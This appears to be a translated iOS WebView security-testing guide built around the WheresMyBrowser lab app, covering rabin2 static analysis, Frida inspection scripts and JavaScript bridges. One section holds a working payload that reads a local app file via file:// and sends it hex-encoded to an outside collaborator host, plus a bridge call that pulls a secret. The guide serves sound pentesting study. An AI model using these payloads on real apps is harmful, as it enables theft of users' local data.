此页面的代码提取自 这里。查看该页面以获取更多详细信息。
WebViews 类型
WebViews 在应用程序中用于交互式显示网页内容。各种类型的 WebViews 为 iOS 应用程序提供不同的功能和安全特性。以下是简要概述:
UIWebView,由于缺乏禁用 JavaScript 的支持,从 iOS 12 开始不再推荐使用,这使其容易受到脚本注入和 跨站脚本攻击 (XSS) 的影响。
WKWebView 是将网页内容集成到应用程序中的首选选项,提供对内容和安全特性的增强控制。JavaScript 默认启用,但在必要时可以禁用。它还支持防止 JavaScript 自动打开窗口的功能,并确保所有内容安全加载。此外,WKWebView 的架构最小化了内存损坏影响主应用程序进程的风险。
SFSafariViewController 在应用程序中提供标准化的网页浏览体验,其特定布局包括只读地址栏、分享和导航按钮,以及直接链接以在 Safari 中打开内容。与 WKWebView 不同,SFSafariViewController 中无法禁用 JavaScript,它还与 Safari 共享 cookies 和数据,维护用户的隐私。根据 App Store 指南,必须显著显示它。
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews 配置探索总结
静态分析概述
在检查 WebViews 配置的过程中,主要关注两种类型:UIWebView 和 WKWebView。为了在二进制文件中识别这些 WebViews,使用命令搜索特定的类引用和初始化方法。
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
此命令通过在二进制文件中搜索与UIWebView相关的文本字符串来帮助定位UIWebView的实例。
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
同样,对于 WKWebView,此命令在二进制文件中搜索指示其使用的文本字符串。
此外,为了找到 WKWebView 是如何初始化的,执行以下命令,针对与其初始化相关的方法签名:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScript 配置验证
对于 WKWebView,强调除非必要,否则禁用 JavaScript 是最佳实践。搜索编译后的二进制文件以确认 javaScriptEnabled
属性设置为 false
,确保 JavaScript 被禁用:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
仅安全内容验证
WKWebView 提供了识别混合内容问题的能力,与 UIWebView 相比。这是通过使用 hasOnlySecureContent
属性来检查,以确保所有页面资源通过安全连接加载。对编译后的二进制文件的搜索如下:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
动态分析洞察
动态分析涉及检查堆中的 WebView 实例及其属性。为此,使用名为 webviews_inspector.js
的脚本,目标是 UIWebView
、WKWebView
和 SFSafariViewController
实例。它记录有关找到的实例的信息,包括 URL 和与 JavaScript 及安全内容相关的设置。
可以使用 ObjC.choose()
进行堆检查,以识别 WebView 实例并检查 javaScriptEnabled
和 hasonlysecurecontent
属性。
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
脚本的执行方式为:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
关键结果:
验证了 JavaScript 启用和安全内容设置。
此摘要概括了通过静态和动态方法分析 WebView 配置的关键步骤和命令,重点关注 JavaScript 启用和混合内容检测等安全特性。
WebView 协议处理
在 WebViews 中处理内容是一个关键方面,特别是在处理各种协议时,如 http(s)://
、file://
和 tel://
。这些协议使得在应用程序中加载远程和本地内容成为可能。强调在加载本地内容时,必须采取预防措施,以防止用户影响文件的名称或路径以及编辑内容本身。
WebViews 提供了不同的内容加载方法。对于已弃用的 UIWebView,使用 loadHTMLString:baseURL:
和 loadData:MIMEType:textEncodingName:baseURL:
等方法。另一方面,WKWebView 使用 loadHTMLString:baseURL:
、loadData:MIMEType:textEncodingName:baseURL:
和 loadRequest:
来处理网页内容。通常使用 pathForResource:ofType:
、URLForResource:withExtension:
和 init(contentsOf:encoding:)
方法来加载本地文件。loadFileURL:allowingReadAccessToURL:
方法尤其值得注意,因为它能够将特定的 URL 或目录加载到 WebView 中,如果指定了目录,可能会暴露敏感数据。
要在源代码或编译的二进制文件中找到这些方法,可以使用以下命令:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
关于文件访问,UIWebView允许它的普遍访问,而WKWebView引入了allowFileAccessFromFileURLs
和allowUniversalAccessFromFileURLs
设置来管理来自文件URL的访问,默认情况下这两个设置都是false。
提供了一个Frida脚本示例,以检查WKWebView的安全设置配置:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
最后,一个旨在提取本地文件的JavaScript有效载荷示例展示了与配置不当的WebViews相关的潜在安全风险。该有效载荷在将文件内容传输到服务器之前,将其编码为十六进制格式,突显了在WebView实现中严格安全措施的重要性。
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
Native Methods Exposed Through WebViews
Understanding WebView Native Interfaces in iOS
从 iOS 7 开始,Apple 提供了用于 在 WebView 中的 JavaScript 与本地 Swift 或 Objective-C 对象之间进行通信的 API。这种集成主要通过两种方法实现:
JSContext:当 Swift 或 Objective-C 块与 JSContext
中的标识符链接时,会自动创建一个 JavaScript 函数。这允许 JavaScript 和本地代码之间的无缝集成和通信。
JSExport Protocol:通过继承 JSExport
协议,可以将本地属性、实例方法和类方法暴露给 JavaScript。这意味着在 JavaScript 环境中所做的任何更改都会在本地环境中反映出来,反之亦然。然而,必须确保通过这种方法不会意外暴露敏感数据。
Accessing JSContext
in Objective-C
在 Objective-C 中,可以使用以下代码行检索 UIWebView
的 JSContext
:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Communication with WKWebView
对于 WKWebView
,无法直接访问 JSContext
。相反,通过 postMessage
函数利用消息传递,实现 JavaScript 与原生的通信。这些消息的处理程序设置如下,使 JavaScript 能够安全地与原生应用程序进行交互:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interaction and Testing
JavaScript可以通过定义脚本消息处理程序与本地层进行交互。这允许从网页调用本地函数等操作:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
要捕获和操纵原生函数调用的结果,可以在HTML中覆盖回调函数:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
原生端处理JavaScript调用,如JavaScriptBridgeMessageHandler
类所示,其中对诸如数字相乘等操作的结果进行处理,并发送回JavaScript以供显示或进一步操作:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
调试 iOS WebViews
(基于 https://blog.vuplex.com/debugging-webviews 的教程)
要有效调试 iOS webviews 中的网页内容,需要特定的设置,涉及 Safari 的开发者工具,因为发送到 console.log()
的消息不会显示在 Xcode 日志中。以下是简化的指南,强调关键步骤和要求:
在 iOS 设备上的准备:需要在您的 iOS 设备上激活 Safari Web Inspector。通过进入 设置 > Safari > 高级,并启用 Web Inspector 来完成此操作。
在 macOS 设备上的准备:在您的 macOS 开发机器上,必须在 Safari 中启用开发者工具。启动 Safari,访问 Safari > 偏好设置 > 高级,并选择 显示开发菜单 的选项。
连接和调试:将您的 iOS 设备连接到 macOS 计算机并启动您的应用程序后,使用 macOS 设备上的 Safari 选择您要调试的 webview。在 Safari 菜单栏中导航到 开发,将鼠标悬停在您的 iOS 设备名称上以查看 webview 实例列表,并选择您希望检查的实例。将为此目的打开一个新的 Safari Web Inspector 窗口。
但是,请注意以下限制:
使用此方法进行调试需要一台 macOS 设备,因为它依赖于 Safari。
只有通过 Xcode 加载到您的设备上的应用程序中的 webviews 才有资格进行调试。通过 App Store 或 Apple Configurator 安装的应用程序中的 webviews 不能以这种方式进行调试。
参考文献